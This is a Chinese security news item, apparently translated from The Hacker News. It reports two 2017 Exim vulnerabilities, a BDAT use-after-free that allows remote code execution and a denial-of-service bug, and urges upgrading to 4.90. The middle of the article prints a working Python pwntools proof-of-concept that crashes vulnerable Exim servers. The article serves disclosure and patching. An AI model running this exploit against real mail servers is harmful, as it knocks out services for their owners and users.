当前位置:安全客 >> 资讯详情

【国际资讯】开源邮件传输代理Exim易遭RCE和DoS攻击 用户应立即修复

2017-11-28 18:14:58 阅读:52281次 收藏 来源: thehackernews.com 作者:360代码卫士

http://p7.qhimg.com/t0105cd3c894fc7a99f.png

翻译:360代码卫士

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


开源邮件传输代理Exim


Exim是由剑桥大学Philip Hazel开发的邮件传输代理,负责邮件的路由,转发和投递。它可运行在绝大多数的类Unix系统上,包括Solaris、AIX、Linux、macOS等。相比其他MTA,Exim配置更灵活,支持String Expansion技术,能执行诸如条件判断,字符转换等功能。

http://p6.qhimg.com/t01519949022ada0259.png


Exim漏洞被提交至BugTracker


一名安全研究员发现并公开披露了流行互联网邮件信息传输代理Exim中的两个紧急漏洞,其中一个能导致远程攻击者在目标服务器上执行恶意代码。

最开始漏洞是由Phil Ponnock在黑五(11月25日)没有任何预告发布在这里的,提交到了该项目的BugTracker。

http://p9.qhimg.com/t018a99156e137a73e2.png


提交内容包含两个漏洞,一个RCE漏洞,一个DoS漏洞


第一个漏洞是使用后释放漏洞CVE-2017-16943,通过构造一个BDAT命令序列就可被用于在SMTP服务器中远程执行任意代码。研究人员还公布了用Python编写的PoC利用代码,任何人均可在易受攻击的Exim服务器中执行代码。

第二个漏洞是一个DoS缺陷,CVE-2017-16944,可导致远程攻击者在连接关闭的情况下通过强制其在不崩溃的情况下无限循环地运行将Exim服务器挂起。这个漏洞产生的原因是在解析BDAT数据头时未正确检查表示邮件结束的 ‘.’字符。研究人员还提供了PoC利用代码,导致Exim服务器耗尽栈并崩溃。


PoC


此为可造成Exim崩溃的PoC,封面图中包含另一个漏洞PoC

# pip install pwntools
from pwn import *
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
#raw_input()
r.sendline('a'*0x1100+'\x7f')
#raw_input()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')
r.interactive()
exit()


用户应尽快更新


Exim更新并不是非常多,上一个版本4.88刚刚修复了去年年底的CVE-2016-9963漏洞,而目前的两个漏洞则影响4.88和新版本4.89。为了保证安全,建议用户及时更新至在GitHub上发布的Exim 4.90版本。目前Exim官网并不能下载修复了漏洞的4.90版本。


本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://thehackernews.com/2017/11/exim-internet-mailer-flaws.html

参与讨论,请先 | 注册 | 匿名评论
发布
用户评论
无任何评论